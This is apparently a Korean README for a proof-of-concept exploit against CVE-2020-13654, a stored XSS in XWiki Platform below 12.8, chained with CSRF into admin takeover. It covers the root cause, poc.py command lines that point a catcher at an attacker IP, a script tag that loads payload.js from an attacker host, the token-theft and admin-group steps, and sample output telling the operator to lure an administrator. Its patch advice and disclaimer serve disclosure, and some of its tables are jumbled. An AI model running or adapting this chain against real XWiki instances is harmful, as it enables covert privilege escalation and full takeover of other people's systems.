
CVE-2020-13654 - XWiki Platform < 12.8 - 저장형 XSS → CSRF → 계정 탈취
발견 및 보고자: Astaruf
전체 보고서: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
NVD 항목: https://nvd.nist.gov/vuln/detail/CVE-2020-13654
XWiki Platform 버전 12.8 미만은 프로필 편집기에서 사용자 제어 필드에 HTML 인코딩을 적용하지 않습니다. 연구 중 확인된 영향을 받는 필드는 "회사" (편집 → 개인 정보 아래)이지만, 다른 프로필 필드도 동일한 코드 경로를 공유합니다.
프로필 페이지가 렌더링될 때, 저장된 필드 값은 $escapetool.xml() 또는 이에 상응하는 이스케이프 호출 없이 HTML에 그대로 출력됩니다. 방금 자체 등록한 계정을 포함하여 인증된 모든 계정을 가진 공격자는 임의의 HTML/JavaScript를 저장할 수 있으며, 이는 관리자를 포함하여 프로필을 방문하는 모든 사용자의 브라우저에서 지속적으로 실행됩니다.
영향을 받는 Velocity 템플릿의 근본 원인:
## Vulnerable (< 12.8): value written directly to the DOM
$xwiki.getUserProperty($user, "company")
## Fixed (≥ 12.8): value HTML-encoded before output
$escapetool.xml($xwiki.getUserProperty($user, "company"))
| 필드 | 값 |
|---|---|
| 제품 | XWiki Platform |
| 영향을 받는 버전 | < 12.8 |
| 수정된 버전 | 12.8 |
| CVSSv3 점수 | 7.5 (High) |
| CWE |
이 PoC는 제로 클릭 권한 상승 체인을 시연합니다:
Low-privilege attacker account
│
├─ stores <script src="http://attacker/payload.js"> in Company field
▼
XWiki profile page (poisoned)
│
├─ admin navigates to the page (e.g. via user list or support ticket)
▼
Payload executes in admin browser session
│
├─ fetches /bin/view/XWiki/XWikiAdminGroup → extracts CSRF token
├─ POSTs form_token + xpage=adduorg + name=attacker → adds attacker to XWikiAdminGroup
│
▼
Attacker now has full admin access
단일 페이지 방문 외에는 관리자 상호작용이 필요하지 않습니다.
poc.py는 자체 포함된 익스플로잇 스크립트입니다. 이 스크립트는:
회사 프로필 필드에 주입하며, 다른 모든 기존 필드 값을 유지합니다./payload.js)를 제공하고 들어오는 비콘을 기록하는 통합 HTTP 서버를 시작합니다.관리자가 URL을 방문하면 저장된 <script src="..."> 태그가 공격자 서버에서 payload.js를 로드합니다. 페이로드는 관리자의 인증된 브라우저 컨텍스트에서 실행되어 공격자의 계정을 XWikiAdminGroup에 자동으로 추가하고 결과를 다시 비콘으로 보냅니다.
pip install -r requirements.txt
자체 등록 사용 (기존 계정 불필요):
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123' \
--register \
--first-name John \
--last-name Doe \
--email [email protected]
기존 저권한 계정 사용:
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123'
[*] Registering account 'hacker' ...
✅ Registration successful.
[*] Authenticating as 'hacker' ...
✅ Authenticated. Session: {'JSESSIONID': 'ABC...'}
[*] Injecting payload into 'hacker' profile ...
✅ Payload stored: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Verifying stored payload ...
✅ Payload confirmed in page source.
════════════════════════════════════════════════════════════
EXPLOIT ARMED — WAITING FOR VICTIM
Share this URL with (or wait for) an administrator to visit:
>>> http://TARGET:8080/bin/view/XWiki/hacker
When triggered, the attacker account 'hacker'
will be silently added to XWikiAdminGroup.
════════════════════════════════════════════════════════════
2024-01-15 10:23:01 [INFO] 📡 Payload executing in victim browser | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION SUCCEEDED | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker
XWiki Platform ≥ 12.8로 업그레이드하세요.
수정 사항은 렌더링 전에 모든 사용자 제어 프로필 필드에 $escapetool.xml()을 적용하여 원시 HTML/JavaScript 주입을 방지합니다.
즉시 업그레이드가 불가능한 경우, XWiki의 접근 권한 관리를 통해 자체 등록을 제한하고 프로필 가시성을 신뢰할 수 있는 사용자로 제한하세요.
| 날짜 | 이벤트 |
|---|---|
| 2020년 5월 |
이 저장소는 교육 및 승인된 보안 연구 목적으로만 제공됩니다.
소유하지 않거나 테스트에 대한 명시적 서면 허가가 없는 시스템에 대해 사용하지 마십시오.
저자는 오용에 대한 책임을 지지 않습니다.
| CWE-116 — 부적절한 출력 인코딩 또는 이스케이프 |
| 인수 | 필수 | 설명 |
|---|
--target | ✅ | XWiki 기본 URL |
--catcher | ✅ | 공격자 제어 URL (payload.js 제공 및 비콘 수집에 사용) |
--username | ✅ | 공격자 계정 사용자 이름 |
--password | ✅ | 공격자 계정 비밀번호 |
--register | ✗ | 익스플로잇 전 계정 자동 등록 |
--first-name | --register 사용 시 | 등록용 이름 |
--last-name | --register 사용 시 | 등록용 성 |
--email | --register 사용 시 | 등록용 이메일 |
| 취약점 발견 |
| 2020년 5월 | XWiki 보안 팀에 보고 |
| 2020년 7월 | XWiki Platform 12.8에서 패치됨 |
| 2020년 11월 | MITRE에 의해 CVE-2020-13654 지정 |
| 2020년 12월 30일 | 공개 공개 — nstsec.com |